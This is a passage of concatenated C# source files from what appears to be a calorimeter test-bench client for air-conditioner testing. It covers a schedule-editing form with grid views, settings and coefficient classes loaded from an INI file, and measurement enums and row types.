SetEditReadOnly(false);
}
private void FormOpenSchedule_Load(object sender, EventArgs e)
{
Resource.ConfigDB.Lock();
try
{
Resource.ConfigDB.ScheduleParamSet.Select();
scheduleGrid.DataSource = Resource.ConfigDB.ScheduleParamSet.DataSet.Tables[0];
}
finally
{
Resource.ConfigDB.Unlock();
}
defStandardEdit.Text = defSch.Standard;
defNameEdit.Text = defSch.Name;
ActiveControl = defStandardEdit;
}
private void searchButton_Click(object sender, EventArgs e)
{
bookmark.Get();
Resource.ConfigDB.Lock();
try
{
if (string.IsNullOrWhiteSpace(searchStandardEdit.Text) == true)
Resource.ConfigDB.ScheduleParamSet.Select();
else
Resource.ConfigDB.ScheduleParamSet.Select(searchStandardEdit.Text.Trim());
}
finally
{
Resource.ConfigDB.Unlock();
}
bookmark.Goto();
scheduleGrid.Focus();
}
private void scheduleGrid_Enter(object sender, EventArgs e)
{
if (ScheduleGridView.FocusedRowHandle < 0) return;
DispFocusedRow(ScheduleGridView.FocusedRowHandle);
}
private void scheduleGrid_DoubleClick(object sender, EventArgs e)
{
okButton.PerformClick();
}
private void scheduleGridView_FocusedRowChanged(object sender, FocusedRowChangedEventArgs e)
{
if (e.FocusedRowHandle < 0) return;
DispFocusedRow(e.FocusedRowHandle);
}
private void DispFocusedRow(int rowHandle)
{
Resource.ConfigDB.Lock();
try
{
DataRow row = scheduleGridView.GetDataRow(rowHandle);
Resource.ConfigDB.ScheduleParamSet.Fetch(row);
SetEditFromDataSet();
}
finally
{
Resource.ConfigDB.Unlock();
}
}
private void SetEditReadOnly(bool active)
{
foreach (TextEdit edit in id1Edits)
{
edit.Properties.ReadOnly = active;
edit.EnterMoveNextControl = true;
}
foreach (TextEdit edit in id2Edits)
{
edit.Properties.ReadOnly = active;
edit.EnterMoveNextControl = true;
}
foreach (TextEdit edit in odEdits)
{
edit.Properties.ReadOnly = active;
edit.EnterMoveNextControl = true;
}
foreach (TextEdit edit in viewEdits)
{
edit.Properties.ReadOnly = active;
edit.EnterMoveNextControl = true;
}
foreach (AdvBandedGridView gridView in viewGrids)
{
gridView.OptionsBehavior.ReadOnly = active;
}
}
private void SetEditFromDataSet()
{
ScheduleParamDataSet set = Resource.ConfigDB.ScheduleParamSet;
standardEdit.Text = set.Standard;
nameEdit.Text = set.Name;
noSteadyEdit.EditValue = set.NoOfSteady;
preparationEdit.EditValue = set.Preparation;
judgementEdit.EditValue = set.Judgement;
repeatEdit.EditValue = set.Repeat;
chamberParams[0].Indoor1Use = set.ID1Use;
chamberParams[0].Indoor1Mode1 = set.ID1Mode1;
chamberParams[0].Indoor1Duct1 = set.ID1Duct1;
chamberParams[0].Indoor1Mode2 = set.ID1Mode2;
chamberParams[0].Indoor1Duct2 = set.ID1Duct2;
id1EdbSetupEdit.EditValue = set.ID1EdbSetup;
id1EdbAvgEdit.EditValue = set.ID1EdbAvg;
id1EdbDevEdit.EditValue = set.ID1EdbDev;
id1EwbSetupEdit.EditValue = set.ID1EwbSetup;
id1EwbAvgEdit.EditValue = set.ID1EwbAvg;
id1EwbDevEdit.EditValue = set.ID1EwbDev;
id1Ldb1DevEdit.EditValue = set.ID1Ldb1Dev;
id1Lwb1DevEdit.EditValue = set.ID1Lwb1Dev;
id1Airflow1DevEdit.EditValue = set.ID1Af1Dev;
id1Ldb2DevEdit.EditValue = set.ID1Ldb2Dev;
id1Lwb2DevEdit.EditValue = set.ID1Lwb2Dev;
id1Airflow2DevEdit.EditValue = set.ID1Af2Dev;
id1Cdp1SetupEdit.EditValue = set.ID1Cdp1Setup;
id1Cdp1AvgEdit.EditValue = set.ID1Cdp1Avg;
id1Cdp1DevEdit.EditValue = set.ID1Cdp1Dev;
id1Cdp2SetupEdit.EditValue = set.ID1Cdp2Setup;
id1Cdp2AvgEdit.EditValue = set.ID1Cdp2Avg;
id1Cdp2DevEdit.EditValue = set.ID1Cdp2Dev;
chamberParams[0].Indoor2Use = set.ID2Use;
chamberParams[0].Indoor2Mode1 = set.ID2Mode1;
chamberParams[0].Indoor2Duct1 = set.ID2Duct1;
chamberParams[0].Indoor2Mode2 = set.ID2Mode2;
chamberParams[0].Indoor2Duct2 = set.ID2Duct2;
id2EdbSetupEdit.EditValue = set.ID2EdbSetup;
id2EdbAvgEdit.EditValue = set.ID2EdbAvg;
id2EdbDevEdit.EditValue = set.ID2EdbDev;
id2EwbSetupEdit.EditValue = set.ID2EwbSetup;
id2EwbAvgEdit.EditValue = set.ID2EwbAvg;
id2EwbDevEdit.EditValue = set.ID2EwbDev;
id2Ldb1DevEdit.EditValue = set.ID2Ldb1Dev;
id2Lwb1DevEdit.EditValue = set.ID2Lwb1Dev;
id2Airflow1DevEdit.EditValue = set.ID2Af1Dev;
id2Ldb2DevEdit.EditValue = set.ID2Ldb2Dev;
id2Lwb2DevEdit.EditValue = set.ID2Lwb2Dev;
id2Airflow2DevEdit.EditValue = set.ID2Af2Dev;
id2Cdp1SetupEdit.EditValue = set.ID2Cdp1Setup;
id2Cdp1AvgEdit.EditValue = set.ID2Cdp1Avg;
id2Cdp1DevEdit.EditValue = set.ID2Cdp1Dev;
id2Cdp2SetupEdit.EditValue = set.ID2Cdp2Setup;
id2Cdp2AvgEdit.EditValue = set.ID2Cdp2Avg;
id2Cdp2DevEdit.EditValue = set.ID2Cdp2Dev;
chamberParams[0].OutdoorUse = set.ODUse;
chamberParams[0].OutdoorDpSensor = set.ODDp;
chamberParams[0].OutdoorAutoVolt = set.ODAutoVolt;
odEdbSetupEdit.EditValue = set.ODEdbSetup;
odEdbAvgEdit.EditValue = set.ODEdbAvg;
odEdbDevEdit.EditValue = set.ODEdbDev;
odEwbSetupEdit.EditValue = set.ODEwbSetup;
odEwbAvgEdit.EditValue = set.ODEwbAvg;
odEwbDevEdit.EditValue = set.ODEwbDev;
odEdpSetupEdit.EditValue = set.ODEdpSetup;
odEdpAvgEdit.EditValue = set.ODEdpAvg;
odEdpDevEdit.EditValue = set.ODEdpDev;
odVolt1SetupEdit.EditValue = set.ODVolt1Setup;
odVolt1AvgEdit.EditValue = set.ODVolt1Avg;
odVolt1DevEdit.EditValue = set.ODVolt1Dev;
odVolt2SetupEdit.EditValue = set.ODVolt2Setup;
odVolt2AvgEdit.EditValue = set.ODVolt2Avg;
odVolt2DevEdit.EditValue = set.ODVolt2Dev;
indoor1GridView.RefreshData();
indoor2GridView.RefreshData();
outdoorGridView.RefreshData();
}
private string ToDevFormat(string format)
{
string[] strings = format.Split(new[] { '.' }, StringSplitOptions.None);
if ((strings == null) || (strings.Length != 2)) return "f0";
return $"f{strings[1].Length}";
}
private void indoor1GridView_CustomDrawBandHeader(object sender, BandHeaderCustomDrawEventArgs e)
{
if (e.Band == null) return;
if (e.Band.AppearanceHeader.BackColor != Color.Empty)
{
e.Info.AllowColoring = true;
}
}
private void indoor1GridView_CustomDrawColumnHeader(object sender, ColumnHeaderCustomDrawEventArgs e)
{
if (e.Column == null) return;
if (e.Column.AppearanceHeader.BackColor != Color.Empty)
{
e.Info.AllowColoring = true;
}
}
private void indoor1GridView_CellValueChanging(object sender, CellValueChangedEventArgs e)
{
AdvBandedGridView view = sender as AdvBandedGridView;
switch (e.Column.FieldName)
{
case "Indoor1Use":
if ((EIndoorUse)e.Value == EIndoorUse.NotUsed)
{
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor1Mode1"], EIndoorMode.NotUsed);
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor1Duct1"], EIndoorDuct.NotUsed);
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor1Mode2"], EIndoorMode.NotUsed);
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor1Duct2"], EIndoorDuct.NotUsed);
}
break;
case "Indoor2Use":
if ((EIndoorUse)e.Value == EIndoorUse.NotUsed)
{
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor2Mode1"], EIndoorMode.NotUsed);
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor2Duct1"], EIndoorDuct.NotUsed);
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor2Mode2"], EIndoorMode.NotUsed);
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor2Duct2"], EIndoorDuct.NotUsed);
}
break;
}
}
private void indoor1UseLookUp_EditValueChanging(object sender, ChangingEventArgs e)
{
GridColumn column = indoor1GridView.FocusedColumn;
switch (column.FieldName)
{
case "Indoor1Mode1":
case "Indoor1Duct1":
case "Indoor1Mode2":
case "Indoor1Duct2":
if ((EIndoorUse)indoor1GridView.GetRowCellValue(
indoor1GridView.FocusedRowHandle,
indoor1GridView.Columns["Indoor1Use"])
== EIndoorUse.NotUsed)
{
e.Cancel = true;
}
else
{
e.Cancel = false;
}
break;
case "Indoor2Mode1":
case "Indoor2Duct1":
case "Indoor2Mode2":
case "Indoor2Duct2":
if ((EIndoorUse)scheduleGridView.GetRowCellValue(
scheduleGridView.FocusedRowHandle,
scheduleGridView.Columns["Indoor2Use"])
== EIndoorUse.NotUsed)
{
e.Cancel = true;
}
else
{
e.Cancel = false;
}
break;
}
}
private void indoor2UseLookUp_EditValueChanging(object sender, ChangingEventArgs e)
{
GridColumn column = indoor2GridView.FocusedColumn;
switch (column.FieldName)
{
case "Indoor2Mode1":
case "Indoor2Duct1":
case "Indoor2Mode2":
case "Indoor2Duct2":
if ((EIndoorUse)indoor2GridView.GetRowCellValue(
indoor2GridView.FocusedRowHandle,
indoor2GridView.Columns["Indoor2Use"])
== EIndoorUse.NotUsed)
{
e.Cancel = true;
}
else
{
e.Cancel = false;
}
break;
}
}
private void FormOpenSchedule_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == (char)Keys.Escape)
{
cancelButton.PerformClick();
}
}
private void defStandardEdit_Enter(object sender, EventArgs e)
{
standardEdit.Text = defSch.Standard;
nameEdit.Text = defSch.Name;
noSteadyEdit.EditValue = defSch.NoOfSteady;
preparationEdit.EditValue = defSch.PreRun;
judgementEdit.EditValue = defSch.Judge;
repeatEdit.EditValue = defSch.Repeat;
chamberParams[0].Indoor1Use = defSch.Indoor1Use;
chamberParams[0].Indoor1Mode1 = defSch.Indoor1Mode1;
chamberParams[0].Indoor1Duct1 = defSch.Indoor1Duct1;
chamberParams[0].Indoor1Mode2 = defSch.Indoor1Mode2;
chamberParams[0].Indoor1Duct2 = defSch.Indoor1Duct2;
id1EdbSetupEdit.EditValue = defSch.Indoor1DB;
id1EdbAvgEdit.EditValue = defSch.Indoor1DBAvg;
id1EdbDevEdit.EditValue = defSch.Indoor1DBDev;
id1EwbSetupEdit.EditValue = defSch.Indoor1WB;
id1EwbAvgEdit.EditValue = defSch.Indoor1WBAvg;
id1EwbDevEdit.EditValue = defSch.Indoor1WBDev;
id1Ldb1DevEdit.EditValue = defSch.Indoor1LDB1Dev;
id1Lwb1DevEdit.EditValue = defSch.Indoor1LWB1Dev;
id1Airflow1DevEdit.EditValue = defSch.Indoor1AirFlow1Dev;
id1Ldb2DevEdit.EditValue = defSch.Indoor1LDB2Dev;
id1Lwb2DevEdit.EditValue = defSch.Indoor1LWB2Dev;
id1Airflow2DevEdit.EditValue = defSch.Indoor1AirFlow2Dev;
id1Cdp1SetupEdit.EditValue = defSch.Indoor1CP1;
id1Cdp1AvgEdit.EditValue = defSch.Indoor1CP1Avg;
id1Cdp1DevEdit.EditValue = defSch.Indoor1CP1Dev;
id1Cdp2SetupEdit.EditValue = defSch.Indoor1CP2;
id1Cdp2AvgEdit.EditValue = defSch.Indoor1CP2Avg;
id1Cdp2DevEdit.EditValue = defSch.Indoor1CP2Dev;
chamberParams[0].Indoor2Use = defSch.Indoor2Use;
chamberParams[0].Indoor2Mode1 = defSch.Indoor2Mode1;
chamberParams[0].Indoor2Duct1 = defSch.Indoor2Duct1;
chamberParams[0].Indoor2Mode2 = defSch.Indoor2Mode2;
chamberParams[0].Indoor2Duct2 = defSch.Indoor2Duct2;
id2EdbSetupEdit.EditValue = defSch.Indoor2DB;
id2EdbAvgEdit.EditValue = defSch.Indoor2DBAvg;
id2EdbDevEdit.EditValue = defSch.Indoor2DBDev;
id2EwbSetupEdit.EditValue = defSch.Indoor2WB;
id2EwbAvgEdit.EditValue = defSch.Indoor2WBAvg;
id2EwbDevEdit.EditValue = defSch.Indoor2WBDev;
id2Ldb1DevEdit.EditValue = defSch.Indoor2LDB1Dev;
id2Lwb1DevEdit.EditValue = defSch.Indoor2LWB1Dev;
id2Airflow1DevEdit.EditValue = defSch.Indoor2AirFlow1Dev;
id2Ldb2DevEdit.EditValue = defSch.Indoor2LDB2Dev;
id2Lwb2DevEdit.EditValue = defSch.Indoor2LWB2Dev;
id2Airflow2DevEdit.EditValue = defSch.Indoor2AirFlow2Dev;
id2Cdp1SetupEdit.EditValue = defSch.Indoor2CP1;
id2Cdp1AvgEdit.EditValue = defSch.Indoor2CP1Avg;
id2Cdp1DevEdit.EditValue = defSch.Indoor2CP1Dev;
id2Cdp2SetupEdit.EditValue = defSch.Indoor2CP2;
id2Cdp2AvgEdit.EditValue = defSch.Indoor2CP2Avg;
id2Cdp2DevEdit.EditValue = defSch.Indoor2CP2Dev;
chamberParams[0].OutdoorUse = defSch.OutdoorUse;
chamberParams[0].OutdoorDpSensor = defSch.OutdoorDpSensor;
chamberParams[0].OutdoorAutoVolt = defSch.OutdoorAutoVolt;
odEdbSetupEdit.EditValue = defSch.OutdoorDB;
odEdbAvgEdit.EditValue = defSch.OutdoorDBAvg;
odEdbDevEdit.EditValue = defSch.OutdoorDBDev;
odEwbSetupEdit.EditValue = defSch.OutdoorWB;
odEwbAvgEdit.EditValue = defSch.OutdoorWBAvg;
odEwbDevEdit.EditValue = defSch.OutdoorWBDev;
odEdpSetupEdit.EditValue = defSch.OutdoorDP;
odEdpAvgEdit.EditValue = defSch.OutdoorDPAvg;
odEdpDevEdit.EditValue = defSch.OutdoorDPDev;
odVolt1SetupEdit.EditValue = defSch.OutdoorVolt1;
odVolt1AvgEdit.EditValue = defSch.OutdoorVolt1Avg;
odVolt1DevEdit.EditValue = defSch.OutdoorVolt1Dev;
odVolt2SetupEdit.EditValue = defSch.OutdoorVolt2;
odVolt2AvgEdit.EditValue = defSch.OutdoorVolt2Avg;
odVolt2DevEdit.EditValue = defSch.OutdoorVolt2Dev;
indoor1GridView.RefreshData();
indoor2GridView.RefreshData();
outdoorGridView.RefreshData();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
#region Enum
//public enum EClientState
//{ Observation, Idle, Preparation, Stabilization, Integration }
public enum EUserAuthority
{ Maker, Admin, Operator, Viewer }
public enum EValueType
{ Raw, Real }
public enum ELogItem
{ Note, Error, Exception }
public enum ETerminateCode
{ None, ReceivedTerminateCommand, NonAcknowledgement }
public enum EDataSetMode
{ View, New, Modify }
public enum ETestState
{
Stopped = -1,
Testing = 0,
Done = 1
}
#endregion
#region EventHandler
public delegate void EventVoidHandler(object sender);
public delegate void EventBoolHandler(object sender, bool arg);
public delegate void EventByteHandler(object sender, byte arg);
public delegate void EventInt16Handler(object sender, Int16 arg);
public delegate void EventInt32Handler(object sender, Int32 arg);
public delegate void EventInt64Handler(object sender, Int64 arg);
public delegate void EventFloatHandler(object sender, float arg);
public delegate void EventDoubleHandler(object sender, double arg);
#endregion
class DataBookStateTypeFmt : IFormatProvider, ICustomFormatter
{
public DataBookStateTypeFmt()
{
}
public object GetFormat(Type type)
{
return this;
}
public string Format(string formatString, object arg, IFormatProvider formatProvider)
{
int value = Convert.ToInt16(arg);
string typeString = value.ToString();
switch (value)
{
case -1:
typeString = "NG";
break;
case 0:
typeString = "Testing";
break;
case 1:
typeString = "OK";
break;
}
return typeString;
}
}
class DataBookLineTypeFmt : IFormatProvider, ICustomFormatter
{
public DataBookLineTypeFmt()
{
}
public object GetFormat(Type type)
{
return this;
}
public string Format(string formatString, object arg, IFormatProvider formatProvider)
{
int value = Convert.ToInt16(arg);
return $"L{value+1}";
}
}
public enum ECoefficient
{
[Description("Airflow")]
Airflow,
[Description("Cooling Capacity")]
CoolingCapacity,
[Description("Heating Capacity")]
HeatingCapacity,
[Description("Cooling H.L.K")]
Cooling_HLK,
[Description("Heating H.L.K")]
Heating_HLK,
[Description("Cooling H.L.K (Duct 1)")]
Cooling_HLK_Duct1,
[Description("Heating H.L.K (Duct 1)")]
Heating_HLK_Duct1,
[Description("Cooling H.L.K (Duct 2)")]
Cooling_HLK_Duct2,
[Description("Heating H.L.K (Duct 2)")]
Heating_HLK_Duct2,
[Description("Cooling H.L.K (Duct 3)")]
Cooling_HLK_Duct3,
[Description("Heating H.L.K (Duct 3)")]
Heating_HLK_Duct3,
[Description("Cooling H.L.K (Duct 4)")]
Cooling_HLK_Duct4,
[Description("Heating H.L.K (Duct 4)")]
Heating_HLK_Duct4,
[Description("Cooling H.L.K (Duct 5)")]
Cooling_HLK_Duct5,
[Description("Heating H.L.K (Duct 5)")]
Heating_HLK_Duct5,
[Description("Nozzle Diameter (1)")]
Nozzle1,
[Description("Nozzle Diameter (2)")]
Nozzle2,
[Description("Nozzle Diameter (3)")]
Nozzle3,
[Description("Nozzle Diameter (4)")]
Nozzle4
}
public class CoefficientDataRow
{
public CoefficientDataRow()
{
Airflow = 0;
CoolingCapacity = 0;
HeatingCapacity = 0;
Cooling_HLK = 0;
Heating_HLK = 0;
Cooling_HLK_Duct1 = 0;
Heating_HLK_Duct1 = 0;
Cooling_HLK_Duct2 = 0;
Heating_HLK_Duct2 = 0;
Cooling_HLK_Duct3 = 0;
Heating_HLK_Duct3 = 0;
Cooling_HLK_Duct4 = 0;
Heating_HLK_Duct4 = 0;
Cooling_HLK_Duct5 = 0;
Heating_HLK_Duct5 = 0;
Nozzle1 = 0;
Nozzle2 = 0;
Nozzle3 = 0;
Nozzle4 = 0;
}
public float Airflow { get; set; }
public float CoolingCapacity { get; set; }
public float HeatingCapacity { get; set; }
public float Cooling_HLK { get; set; }
public float Heating_HLK { get; set; }
public float Cooling_HLK_Duct1 { get; set; }
public float Heating_HLK_Duct1 { get; set; }
public float Cooling_HLK_Duct2 { get; set; }
public float Heating_HLK_Duct2 { get; set; }
public float Cooling_HLK_Duct3 { get; set; }
public float Heating_HLK_Duct3 { get; set; }
public float Cooling_HLK_Duct4 { get; set; }
public float Heating_HLK_Duct4 { get; set; }
public float Cooling_HLK_Duct5 { get; set; }
public float Heating_HLK_Duct5 { get; set; }
public float Nozzle1 { get; set; }
public float Nozzle2 { get; set; }
public float Nozzle3 { get; set; }
public float Nozzle4 { get; set; }
}
public class CoefficientViewRow
{
public CoefficientViewRow(string name="", float id11=0, float id12=0, float id21=0, float id22=0)
{
Name = name;
ID11 = id11;
ID12 = id12;
ID21 = id21;
ID22 = id22;
}
public string Name { get; set; }
public float ID11 { get; set; }
public float ID12 { get; set; }
public float ID21 { get; set; }
public float ID22 { get; set; }
}
public class TestOptions
{
public TestOptions()
{
FixedAtmPressure = false;
ForcedInteg = false;
ExcelPath = @"..\..\Excel";
AutoExcel = false;
StoppedTestExcel = false;
Indoor11 = false;
Indoor12 = false;
Indoor21 = false;
Indoor22 = false;
Indoor1TC = false;
Indoor2TC = false;
OutdoorTC = false;
}
public bool FixedAtmPressure { get; set; }
public bool ForcedInteg { get; set; }
public string ExcelPath { get; set; }
public bool AutoExcel { get; set; }
public bool StoppedTestExcel { get; set; }
public bool Indoor11 { get; set; }
public bool Indoor12 { get; set; }
public bool Indoor21 { get; set; }
public bool Indoor22 { get; set; }
public bool Indoor1TC { get; set; }
public bool Indoor2TC { get; set; }
public bool OutdoorTC { get; set; }
}
public class TestSettings
{
public TestSettings(UlIniFile ini)
{
this.ini = ini;
Options = new TestOptions();
Coefficients = new List<CoefficientDataRow>();
Coefficients.Add(new CoefficientDataRow());
Coefficients.Add(new CoefficientDataRow());
Coefficients.Add(new CoefficientDataRow());
Coefficients.Add(new CoefficientDataRow());
}
private UlIniFile ini;
public TestOptions Options { get; set; }
public List<CoefficientDataRow> Coefficients { get; set; }
public void Load()
{
string section = "Options";
Options.FixedAtmPressure = ini.GetBoolean(section, "FixedAtmPressure");
Options.ForcedInteg = ini.GetBoolean(section, "ForcedInteg");
Options.ExcelPath = ini.GetString(section, "ExcelPath");
Options.AutoExcel = ini.GetBoolean(section, "AutoExcel");
Options.StoppedTestExcel = ini.GetBoolean(section, "StoppedTestExcel");
Options.Indoor11 = ini.GetBoolean(section, "Indoor11");
Options.Indoor12 = ini.GetBoolean(section, "Indoor12");
Options.Indoor21 = ini.GetBoolean(section, "Indoor21");
Options.Indoor22 = ini.GetBoolean(section, "Indoor22");
Options.Indoor1TC = ini.GetBoolean(section, "Indoor1TC");
Options.Indoor2TC = ini.GetBoolean(section, "Indoor2TC");
Options.OutdoorTC = ini.GetBoolean(section, "OutdoorTC");
string[] coeffSection =
{ "Coefficient.ID11", "Coefficient.ID12", "Coefficient.ID21", "Coefficient.ID22" };
for (int i=0; i<4; i++)
{
Coefficients[i].Airflow = (float)ini.GetDouble(coeffSection[i], "Airflow");
Coefficients[i].CoolingCapacity = (float)ini.GetDouble(coeffSection[i], "CoolingCapacity");
Coefficients[i].HeatingCapacity = (float)ini.GetDouble(coeffSection[i], "HeatingCapacity");
Coefficients[i].Cooling_HLK = (float)ini.GetDouble(coeffSection[i], "Cooling_HLK");
Coefficients[i].Heating_HLK = (float)ini.GetDouble(coeffSection[i], "Heating_HLK");
Coefficients[i].Cooling_HLK_Duct1 = (float)ini.GetDouble(coeffSection[i], "Cooling_HLK_Duct1");
Coefficients[i].Heating_HLK_Duct1 = (float)ini.GetDouble(coeffSection[i], "Heating_HLK_Duct1");
Coefficients[i].Cooling_HLK_Duct2 = (float)ini.GetDouble(coeffSection[i], "Cooling_HLK_Duct2");
Coefficients[i].Heating_HLK_Duct2 = (float)ini.GetDouble(coeffSection[i], "Heating_HLK_Duct2");
Coefficients[i].Cooling_HLK_Duct3 = (float)ini.GetDouble(coeffSection[i], "Cooling_HLK_Duct3");
Coefficients[i].Heating_HLK_Duct3 = (float)ini.GetDouble(coeffSection[i], "Heating_HLK_Duct3");
Coefficients[i].Cooling_HLK_Duct4 = (float)ini.GetDouble(coeffSection[i], "Cooling_HLK_Duct4");
Coefficients[i].Heating_HLK_Duct4 = (float)ini.GetDouble(coeffSection[i], "Heating_HLK_Duct4");
Coefficients[i].Cooling_HLK_Duct5 = (float)ini.GetDouble(coeffSection[i], "Cooling_HLK_Duct5");
Coefficients[i].Heating_HLK_Duct5 = (float)ini.GetDouble(coeffSection[i], "Heating_HLK_Duct5");
Coefficients[i].Nozzle1 = (float)ini.GetDouble(coeffSection[i], "Nozzle1");
Coefficients[i].Nozzle2 = (float)ini.GetDouble(coeffSection[i], "Nozzle2");
Coefficients[i].Nozzle3 = (float)ini.GetDouble(coeffSection[i], "Nozzle3");
Coefficients[i].Nozzle4 = (float)ini.GetDouble(coeffSection[i], "Nozzle4");
}
}
}
public class ChamberParams
{
public ChamberParams()
{
Indoor1Use = EIndoorUse.Indoor;
Indoor1Mode1 = EIndoorMode.Cooling;
Indoor1Duct1 = EIndoorDuct.N1;
Indoor1Mode2 = EIndoorMode.Cooling;
Indoor1Duct2 = EIndoorDuct.N1;
Indoor2Use = EIndoorUse.Indoor;
Indoor2Mode1 = EIndoorMode.Cooling;
Indoor2Duct1 = EIndoorDuct.N1;
Indoor2Mode2 = EIndoorMode.Cooling;
Indoor2Duct2 = EIndoorDuct.N1;
OutdoorUse = EOutdoorUse.Outdoor;
OutdoorDpSensor = EEtcUse.Use;
OutdoorAutoVolt = EEtcUse.Use;
}
public EIndoorUse Indoor1Use { get; set; }
public EIndoorMode Indoor1Mode1 { get; set; }
public EIndoorDuct Indoor1Duct1 { get; set; }
public EIndoorMode Indoor1Mode2 { get; set; }
public EIndoorDuct Indoor1Duct2 { get; set; }
public EIndoorUse Indoor2Use { get; set; }
public EIndoorMode Indoor2Mode1 { get; set; }
public EIndoorDuct Indoor2Duct1 { get; set; }
public EIndoorMode Indoor2Mode2 { get; set; }
public EIndoorDuct Indoor2Duct2 { get; set; }
public EOutdoorUse OutdoorUse { get; set; }
public EEtcUse OutdoorDpSensor { get; set; }
public EEtcUse OutdoorAutoVolt { get; set; }
}
public class YAxisRow
{
public YAxisRow(int recNo, int axisNo, bool active, EAxisAlign align, string name,
string desc, string unit, float visualMin, float visualMax, float wholeMin, float wholeMax)
{
RecNo = recNo;
AxisNo = axisNo;
Checked = active;
Align = align;
Name = name;
Description = desc;
Unit = unit;
DescriptionUnit = $"{Description}({Unit})";
VisualMin = visualMin;
VisualMax = visualMax;
WholeMin = wholeMin;
WholeMax = wholeMax;
}
public int RecNo { get; set; }
public int AxisNo { get; set; }
public bool Checked { get; set; }
public EAxisAlign Align { get; set; }
public string Name { get; set; }
private string description;
public string Description
{
get { return description; }
set
{
description = value;
DescriptionUnit = $"{description}({unit})";
}
}
private string unit;
public string Unit
{
get { return unit; }
set
{
unit = value;
DescriptionUnit = $"{description}({unit})";
}
}
public string DescriptionUnit { get; set; }
public float VisualMin { get; set; }
public float VisualMax { get; set; }
public float WholeMin { get; set; }
public float WholeMax { get; set; }
}
public class SeriesRow
{
public SeriesRow(int recNo, bool active, string name,
string value, string unitType, string unitFrom, Color color)
{
RecNo = recNo;
Checked = active;
Name = name;
Value = value;
CursorA = "0";
CursorB = "0";
Diff = "0";
Min = "0";
Max = "0";
Avg = "0";
UnitType = unitType;
UnitFrom = unitFrom;
Color = color;
}
public int RecNo { get; set; }
public bool Checked { get; set; }
public string Name { get; set; }
public string Value { get; set; }
public string CursorA { get; set; }
public string CursorB { get; set; }
public string Diff { get; set; }
public string Min { get; set; }
public string Max { get; set; }
public string Avg { get; set; }
public string UnitType { get; set; }
public string UnitFrom { get; set; }
public Color Color { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Text;
namespace Hnc.Calorimeter.Client
{
#region enum
public enum EMeasTotalRated
{
TotalCapacity,
TotalPowerInput,
TotalEER_COP,
None1,
TotalRatedCapacity,
TotalCapacityRatio,
TotalRatedPowerInput,
TotalPowerInputRatio,
TotalRatedEER_COP,
TotalEER_COPRatio,
TotalRatedCurrent,
TotalCurrentRatio,
None2,
IDU_PowerInput,
IDU_Voltage,
IDU_Current,
IDU_Frequency,
IDU_PowerFactor,
IDU_IntegPowerInput,
IDU_IntegTime,
None3,
ODU_PowerInput,
ODU_Voltage,
ODU_Current,
ODU_Frequency,
ODU_PowerFactor,
ODU_IntegPowerInput,
ODU_IntegTime
}
public enum EMeasRunState
{
Condition,
RunningStep,
ElapsedTime,
TotalElapsed,
None1,
Preparation,
Judgement,
Integration,
None2,
NoOfSteady,
Repeat,
Schedule
}
public enum EMeasAirSide
{
Capacity,
CapacityRatio,
SensibleHeat,
LatentHeat,
SensibleHeatRatio,
HeatLeakage,
DrainWeight,
None1,
EnteringDB,
EnteringWB,
EnteringRH,
LeavingDB,
LeavingWB,
LeavingRH,
None2,
EnteringEnthalpy,
LeavingEnthalpy,
EnteringHumidityRatio,
LeavingHumidityRatio,
LeavingSpecificHeat,
LeavingSpecificVolume,
None3,
AirFlowLev,
AirVelocityLev,
StaticPressure,
NozzleDiffPressure,
AtmosphericPressure,
NozzleInletTemp,
}
public enum EMeasNozzle
{
Nozzle1,
Nozzle2,
Nozzle3,
Nozzle4
}
public enum EMeasOutside
{
EnteringDB,
EnteringWB,
EnteringRH,
EnteringDP,
None1,
SatDisTemp1,
SatSucTemp1,
SatSubCooling1,
SuperHeat1,
SatDisTemp2,
SatSucTemp2,
SatSubCooling2,
SuperHeat2
}
public enum EMeasMethod
{
Method,
ScanTime
}
public enum EMeasNote
{
Company,
TestName,
TestNo,
Observer,
None1,
Maker,
Model1,
SerialNo1,
Model2,
SerialNo2,
Model3,
SerialNo3,
ExpDevice,
Refrigerant,
RefCharge,
Memo
}
public enum EMeasRated
{
Capacity,
PowerInput,
EER_COP,
None1,
IDU_Voltage,
IDU_Current,
IDU_Frequency,
IDU_SelectedPM,
ODU_SelectedPM,
ODU_Phase
}
public enum EMeasIndoor
{
Use,
Mode,
Duct,
DB,
WB
}
public enum EMeasOutdoor
{
Use,
DPSensor,
AutoVoltage,
DB,
WB
}
#endregion
#region TestMeasure
public class TestMeasure
{
public TestMeasure(TestValue value)
{
Control = null;
TotalRateds = new List<MeasureRow>();
TotalRateds.Add(new MeasureRow(value.Calcurated["Total.Capacity"], "Total Capacity"));
TotalRateds.Add(new MeasureRow(value.Calcurated["Total.Power"], "Total Power Input"));
TotalRateds.Add(new MeasureRow(value.Calcurated["Total.EER_COP"], "EER/COP"));
TotalRateds.Add(new MeasureRow(null));
TotalRateds.Add(new MeasureRow(null, "Rated Capacity"));
TotalRateds.Add(new MeasureRow(null, "Capacity Ratio"));
TotalRateds.Add(new MeasureRow(null, "Rated Power Input"));
TotalRateds.Add(new MeasureRow(null, "Power Input Ratio"));
TotalRateds.Add(new MeasureRow(null, "Rated EER/COP"));
TotalRateds.Add(new MeasureRow(null, "EER/COP Ratio"));
TotalRateds.Add(new MeasureRow(null, "Rated Current"));
TotalRateds.Add(new MeasureRow(null, "Current Ratio"));
TotalRateds.Add(new MeasureRow(null));
TotalRateds.Add(new MeasureRow(null, "Power Input(IDU)"));
TotalRateds.Add(new MeasureRow(null, "Voltage(IDU)"));
TotalRateds.Add(new MeasureRow(null, "Current(IDU)"));
TotalRateds.Add(new MeasureRow(null, "Frequency(IDU)"));
TotalRateds.Add(new MeasureRow(null, "Power Factor(IDU)"));
TotalRateds.Add(new MeasureRow(null, "Integ Power(IDU)"));
